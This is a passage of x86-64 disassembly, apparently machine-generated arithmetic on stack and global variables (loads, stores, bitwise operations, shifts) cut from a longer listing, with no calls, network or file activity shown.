sar eax, cl
mov rcx, qword [rsp + 0xc408]
mov byte [rcx], al
movzx eax, word [rsp + 0x1110]
movzx ecx, word [rsp + 0x10bc]
or eax, ecx
mov word [0x14019c0b8], ax
lea rax, [rsp + 0x41f8]
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xb328]
mov ecx, dword [rsp + 0x46e4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4e0]
mov ecx, dword [0x14019c040]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4168], eax
lea rax, [rsp + 0x448c]
mov qword [rsp + 0xd130], rax
mov eax, dword [rsp + 0x4a34]
mov ecx, dword [rsp + 0x47bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x483c], eax
movzx eax, word [0x14019bf80]
mov word [rsp + 0x13c0], ax
mov rax, qword [rsp + 0xcc68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcbe8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb538]
mov word [rcx], ax
lea rax, [0x14019bfd2]
mov qword [0x14019df78], rax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov dword [rsp + 0x4d80], eax
mov eax, dword [rsp + 0x4564]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0xaab0]
movzx eax, byte [rax]
mov byte [rsp + 0x299], al
movzx eax, word [0x14019d844]
mov rcx, qword [rsp + 0xbee8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf34], ax
mov rax, qword [rsp + 0xce30]
mov rcx, qword [rsp + 0xa680]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcb18]
mov dword [rcx], eax
lea rax, [rsp + 0x49f4]
mov qword [rsp + 0xd138], rax
mov rax, qword [rsp + 0xb648]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc9a0]
mov eax, dword [rax]
mov dword [rsp + 0x4d84], eax
mov rax, qword [rsp + 0xb2d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x212]
add eax, ecx
mov rcx, qword [0x14019d890]
mov byte [rcx], al
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0xb4c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc530]
mov word [rcx], ax
mov eax, dword [rsp + 0x4a28]
movzx ecx, al
mov eax, dword [rsp + 0x4cf0]
shl eax, cl
mov dword [rsp + 0x3a0c], eax
mov rax, qword [rsp + 0xbf08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x47f8], eax
movsx eax, byte [rsp + 0x206]
mov rcx, qword [rsp + 0xafa8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa9e0]
mov byte [rcx], al
lea rax, [rsp + 0x12c8]
mov qword [rsp + 0xd140], rax
mov rax, qword [0x14019d8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb690]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf14], ax
lea rax, [rsp + 0x198]
mov qword [rsp + 0xd148], rax
mov rax, qword [rsp + 0xc980]
mov ecx, dword [rsp + 0x4d30]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [0x14019c0a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb338]
mov rcx, qword [rsp + 0xaa08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45d8], eax
lea rax, [rsp + 0x4360]
mov qword [rsp + 0xd150], rax
mov rax, qword [rsp + 0xae90]
mov ecx, dword [rsp + 0x4c6c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaaf8]
mov dword [rcx], eax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0xd158], rax
mov rax, qword [rsp + 0xcea0]
movzx eax, word [rax]
mov rcx, qword [0x14019da80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1370], ax
mov rax, qword [rsp + 0xba98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcaf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc898]
mov eax, dword [rax]
mov dword [rsp + 0x4d88], eax
mov rax, qword [0x14019dad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4834], eax
mov rax, qword [rsp + 0xce60]
mov rcx, qword [rsp + 0xb8a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c0bc], eax
lea rax, [rsp + 0x12e4]
mov qword [rsp + 0xd160], rax
mov rax, qword [rsp + 0xb9a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc080]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb7c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xae38]
movzx eax, word [rax]
mov word [rsp + 0x13c4], ax
mov rax, qword [rsp + 0xab50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc260]
mov qword [rsp + 0xd168], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd168]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4d18], eax
mov eax, dword [rsp + 0x4930]
mov dword [rsp + 0x4d8c], eax
mov rax, qword [rsp + 0xca70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc218]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb870]
mov word [rcx], ax
movzx eax, byte [0x140199009]
mov byte [rsp + 0x29a], al
mov eax, dword [rsp + 0x48d8]
mov rcx, qword [rsp + 0xbbc0]
mov qword [rsp + 0xd170], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd170]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14019db98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4694]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4610]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b24], eax
mov eax, dword [rsp + 0x3740]
mov dword [rsp + 0x4d90], eax
movzx eax, byte [rsp + 0x259]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26e], al
movzx eax, word [0x14019bfd4]
mov word [rsp + 0x13c8], ax
mov rax, qword [rsp + 0xd100]
mov ecx, dword [rsp + 0x47d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4198], eax
mov rax, qword [rsp + 0xcc08]
mov eax, dword [rax]
mov dword [rsp + 0x4d94], eax
mov rax, qword [rsp + 0xcd78]
mov eax, dword [rax]
mov dword [0x14019df80], eax
mov eax, dword [rsp + 0x4820]
mov ecx, dword [rsp + 0x3848]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0a8]
mov dword [rcx], eax
mov rax, qword [0x14019d868]
movzx eax, word [rax]
mov word [rsp + 0x13cc], ax
mov rax, qword [rsp + 0xc8a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa900]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf94]
add eax, ecx
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0xb330]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0xd128]
mov ecx, dword [rsp + 0x4d80]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc478]
mov eax, dword [rax]
mov dword [rsp + 0x4d98], eax
mov rax, qword [0x14019db60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1160]
xor eax, ecx
mov rcx, qword [rsp + 0xc2e8]
mov word [rcx], ax
lea rax, [rsp + 0x297]
mov qword [0x14019df88], rax
mov eax, dword [rsp + 0x449c]
mov ecx, dword [rsp + 0x44cc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd20]
mov dword [rcx], eax
mov rax, qword [0x14019dc90]
mov eax, dword [rax]
mov dword [rsp + 0x4d9c], eax
mov eax, dword [rsp + 0x4408]
mov rcx, qword [rsp + 0xd070]
mov qword [rsp + 0xd178], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd178]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4cd8], eax
lea rax, [rsp + 0x3664]
mov qword [rsp + 0xd180], rax
mov rax, qword [rsp + 0xaa78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc450]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x259], al
movzx eax, word [rsp + 0x1108]
mov word [rsp + 0x13d0], ax
mov rax, qword [rsp + 0xc258]
mov ecx, dword [rsp + 0x493c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcb60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4208]
mov ecx, dword [0x14019d8b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0xbf10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e9]
and eax, ecx
mov byte [0x14019bf66], al
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x13d4], ax
mov rax, qword [rsp + 0xb9e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa850]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1368], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xd188], rax
mov eax, dword [rsp + 0x4bd0]
mov ecx, dword [rsp + 0x4774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4be0], eax
mov rax, qword [rsp + 0xb8b8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4f0]
mov dword [rcx], eax
lea rax, [rsp + 0x462c]
mov qword [rsp + 0xd190], rax
mov rax, qword [rsp + 0xab38]
mov ecx, dword [rsp + 0x41c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4948], eax
lea rax, [0x14019c044]
mov qword [rsp + 0xd198], rax
mov rax, qword [rsp + 0xcc88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcc10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc810]
mov byte [rcx], al
mov rax, qword [rsp + 0xc7e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb64]
sub eax, ecx
mov word [str.a_t_nJ], ax
mov rax, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb438]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47e0], eax
mov eax, dword [rsp + 0x44e8]
mov dword [rsp + 0x4da0], eax
mov eax, dword [rsp + 0x4a34]
mov ecx, dword [rsp + 0x45bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cdc], eax
mov eax, dword [rsp + 0x4ba0]
mov dword [rsp + 0x4da4], eax
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x226]
xor eax, ecx
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov word [rsp + 0x13d8], ax
mov rax, qword [rsp + 0xba08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcf70]
mov word [rcx], ax
mov rax, qword [rsp + 0xafa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc858]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc750]
mov byte [rcx], al
mov rax, qword [rsp + 0xc350]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xacc8]
mov qword [rsp + 0xd1a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1a0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019c0c0], eax
mov rax, qword [rsp + 0xcdf8]
mov eax, dword [rax]
mov dword [rsp + 0x4da8], eax
mov rax, qword [rsp + 0xbdd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1098], ax
lea rax, [0x14019bf56]
mov qword [rsp + 0xd1a8], rax
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xc230]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b24], eax
mov rax, qword [rsp + 0xcba8]
mov ecx, dword [rsp + 0x4c94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa508]
mov dword [rcx], eax
lea rax, [0x14019c040]
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0xa820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ee8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa960]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0xd018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe6c]
add eax, ecx
mov word [0x14019c0c4], ax
mov rax, qword [rsp + 0xd0f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3acc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4710], eax
mov rax, qword [rsp + 0xcd38]
mov ecx, dword [rsp + 0x4288]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xafb0]
mov dword [rcx], eax
lea rax, [rsp + 0x4868]
mov qword [rsp + 0xd1b8], rax
mov rax, qword [rsp + 0xb908]
mov rcx, qword [rsp + 0xae78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34d0], eax
lea rax, [rsp + 0x4974]
mov qword [rsp + 0xd1c0], rax
mov rax, qword [rsp + 0xc8f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6d8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xba28]
mov word [rcx], ax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8a8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
movzx eax, word [rsp + 0x1314]
mov word [rsp + 0x13dc], ax
movzx eax, byte [rsp + 0x249]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019900e], al
mov rax, qword [rsp + 0xb658]
mov rcx, qword [rsp + 0xb158]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x48b0], eax
mov rax, qword [0x14019d888]
mov eax, dword [rax]
mov dword [rsp + 0x4dac], eax
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0x112c]
sar eax, cl
mov word [rsp + 0x13bc], ax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
mov byte [rsp + 0x29b], al
mov rax, qword [rsp + 0xaf78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4624], eax
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xcbb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41ac], eax
mov rax, qword [rsp + 0xcd88]
mov eax, dword [rax]
mov dword [rsp + 0x4db0], eax
mov rax, qword [0x14019d828]
mov rcx, qword [rsp + 0xb2e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf6e], al
movzx eax, word [rsp + 0x138c]
mov word [rsp + 0x13e0], ax
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
mov ecx, dword [0x14019c094]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb20]
mov ecx, dword [rsp + 0x4c5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c48], eax
lea rax, [rsp + 0x10ac]
mov qword [rsp + 0xd1c8], rax
movsx eax, byte [rsp + 0x20b]
movsx ecx, byte [rsp + 0x166]
add eax, ecx
mov byte [rsp + 0x28d], al
mov rax, qword [rsp + 0xa9b8]
movzx eax, byte [rax]
mov byte [rsp + 0x29c], al
mov rax, qword [rsp + 0xcf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11e4], ax
mov eax, dword [rsp + 0x4d20]
mov ecx, dword [rsp + 0x44a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7a8]
mov dword [rcx], eax
lea rax, [rsp + 0x4694]
mov qword [0x14019df90], rax
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
mov dword [rsp + 0x4db4], eax
mov rax, qword [0x14019d9b0]
mov rcx, qword [rsp + 0xcc40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3348], eax
mov rax, qword [rsp + 0xce40]
mov eax, dword [rax]
mov dword [rsp + 0x4db8], eax
mov rax, qword [rsp + 0xcb20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ef]
shl eax, cl
mov rcx, qword [rsp + 0xc9f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xfd8]
movzx ecx, word [rsp + 0x105c]
xor eax, ecx
mov word [rsp + 0xd38], ax
mov eax, dword [rsp + 0x47f0]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xd1d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4c0c], eax
mov rax, qword [rsp + 0xb380]
mov ecx, dword [rsp + 0x4718]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4710], eax
lea rax, [rsp + 0x4954]
mov qword [rsp + 0xd1d8], rax
mov eax, dword [rsp + 0x44a0]
mov dword [0x14019df98], eax
mov rax, qword [rsp + 0xcce0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x168]
and eax, ecx
mov byte [rsp + 0x299], al
lea rax, [0x14019bff0]
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xd118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0xb0f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1190]
sub eax, ecx
mov word [rsp + 0x1094], ax
mov rax, qword [0x14019db50]
mov eax, dword [rax]
mov dword [rsp + 0x4dbc], eax
mov eax, dword [rsp + 0x466c]
mov ecx, dword [rsp + 0x4538]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0xc9f0]
movzx eax, byte [rax]
mov byte [rsp + 0x29d], al
mov rax, qword [0x14019dbf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0xd020]
mov ecx, dword [rsp + 0x4430]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf44], eax
mov eax, dword [0x14019c000]
mov ecx, dword [rsp + 0x4cd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb328]
mov dword [rcx], eax
lea rax, [rsp + 0x45a4]
mov qword [rsp + 0xd1e8], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xcbc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbaa8]
mov dword [rcx], eax
lea rax, [rsp + 0x249]
mov qword [rsp + 0xd1f0], rax
movzx eax, word [0x14019bf9c]
mov rcx, qword [rsp + 0xc498]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0xc1e8]
mov ecx, dword [rsp + 0x4a78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4704], eax
lea rax, [rsp + 0x3334]
mov qword [rsp + 0xd1f8], rax
mov rax, qword [rsp + 0xc130]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019dc50]
shr eax, cl
mov dword [rsp + 0x4bec], eax
mov rax, qword [rsp + 0xad58]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c0c8], eax
lea rax, [0x14019bfec]
mov qword [rsp + 0xd200], rax
mov rax, qword [rsp + 0xcb68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d4]
shl eax, cl
mov byte [rsp + 0x1ec], al
lea rax, [rsp + 0xb70]
mov qword [rsp + 0xd208], rax
movzx eax, byte [rsp + 0x21a]
mov rcx, qword [0x14019ded0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x25e], al
movzx eax, word [rsp + 0xedc]
movzx ecx, word [rsp + 0x1338]
and eax, ecx
mov rcx, qword [rsp + 0xb990]
mov word [rcx], ax
mov eax, dword [rsp + 0x487c]
mov dword [rsp + 0x4dc0], eax
mov rax, qword [rsp + 0xb4c0]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcba0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x197]
mov byte [rsp + 0x29e], al
movzx eax, word [rsp + 0x12d4]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov rcx, qword [0x14019ded8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb150]
mov rcx, qword [0x14019d888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44e4], eax
mov eax, dword [rsp + 0x3ef8]
mov ecx, dword [rsp + 0x4d54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4abc], eax
lea rax, [rsp + 0x46f8]
mov qword [rsp + 0xd210], rax
mov rax, qword [0x14019d9b0]
mov rcx, qword [rsp + 0xcda8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4938], eax
lea rax, [rsp + 0x1ba]
mov qword [rsp + 0xd218], rax
mov rax, qword [rsp + 0xc910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde4]
add eax, ecx
mov word [rsp + 0xd4c], ax
mov eax, dword [rsp + 0x41b4]
mov ecx, dword [0x14019bf50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4208], eax
mov rax, qword [rsp + 0xc368]
mov eax, dword [rax]
mov dword [rsp + 0x4dc4], eax
movsx eax, word [rsp + 0xf20]
movsx ecx, word [rsp + 0x127c]
add eax, ecx
mov word [0x14019c004], ax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0xcd68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0xa898]
movzx eax, word [rax]
mov word [rsp + 0x13e4], ax
movzx eax, byte [rsp + 0x20c]
movzx ecx, byte [rsp + 0x264]
shl eax, cl
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0xb388]
mov ecx, dword [rsp + 0x4828]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd0f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4c60]
mov dword [rsp + 0x4dc8], eax
mov rax, qword [0x14019d990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4204]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4850], eax
mov eax, dword [rsp + 0x4bfc]
mov dword [rsp + 0x4dcc], eax
mov rax, qword [rsp + 0xbff8]
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4454], eax
mov rax, qword [rsp + 0xcc58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xccf8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xee], al
movzx eax, word [rsp + 0x1278]
movzx ecx, word [rsp + 0xb94]
sub eax, ecx
mov word [0x14019c0cc], ax
mov rax, qword [rsp + 0xbd70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4230]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcc08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x45c0]
mov ecx, dword [rsp + 0x3c3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov eax, dword [rsp + 0x421c]
mov dword [rsp + 0x4dd0], eax
mov rax, qword [rsp + 0xb250]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4228], eax
mov rax, qword [0x14019dbe0]
movzx eax, byte [rax]
mov byte [rsp + 0x29f], al
movzx eax, word [rsp + 0x13bc]
movzx ecx, word [rsp + 0xfe0]
add eax, ecx
mov rcx, qword [rsp + 0xc598]
mov word [rcx], ax
movsx eax, word [rsp + 0x1234]
movsx ecx, word [rsp + 0xe88]
add eax, ecx
mov word [rsp + 0x1088], ax
movzx eax, byte [rsp + 0x1ff]
mov byte [rsp + 0x2a0], al
lea rax, [rsp + 0x49d4]
mov qword [0x14019dfa0], rax
mov rax, qword [rsp + 0xcc18]
mov rcx, qword [rsp + 0xd1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47e8], eax
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
mov word [rsp + 0x13e8], ax
mov rax, qword [rsp + 0xc078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x229]
and eax, ecx
mov rcx, qword [rsp + 0xc788]
mov byte [rcx], al
mov eax, dword [rsp + 0x4c8c]
mov ecx, dword [rsp + 0x44d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x436c], eax
lea rax, [rsp + 0x45f0]
mov qword [rsp + 0xd220], rax
mov rax, qword [rsp + 0xb3b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbb50]
mov qword [rsp + 0xd228], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd228]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4a8]
mov eax, dword [rax]
mov dword [rsp + 0x4dd4], eax
movzx eax, word [rsp + 0x1380]
movzx ecx, word [0x14019d850]
or eax, ecx
mov rcx, qword [rsp + 0xc808]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28a]
shl eax, cl
mov rcx, qword [0x14019d928]
mov byte [rcx], al
mov rax, qword [rsp + 0xba68]
mov eax, dword [rax]
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x48f4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd088]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c8], eax
lea rax, [rsp + 0x4328]
mov qword [rsp + 0xd230], rax
mov eax, dword [rsp + 0x43cc]
mov ecx, dword [0x14019dee8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc108]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc820]
movzx eax, word [rax]
mov word [rsp + 0x13ec], ax
movsx eax, byte [rsp + 0x1d4]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, byte [rcx]
sub eax, ecx
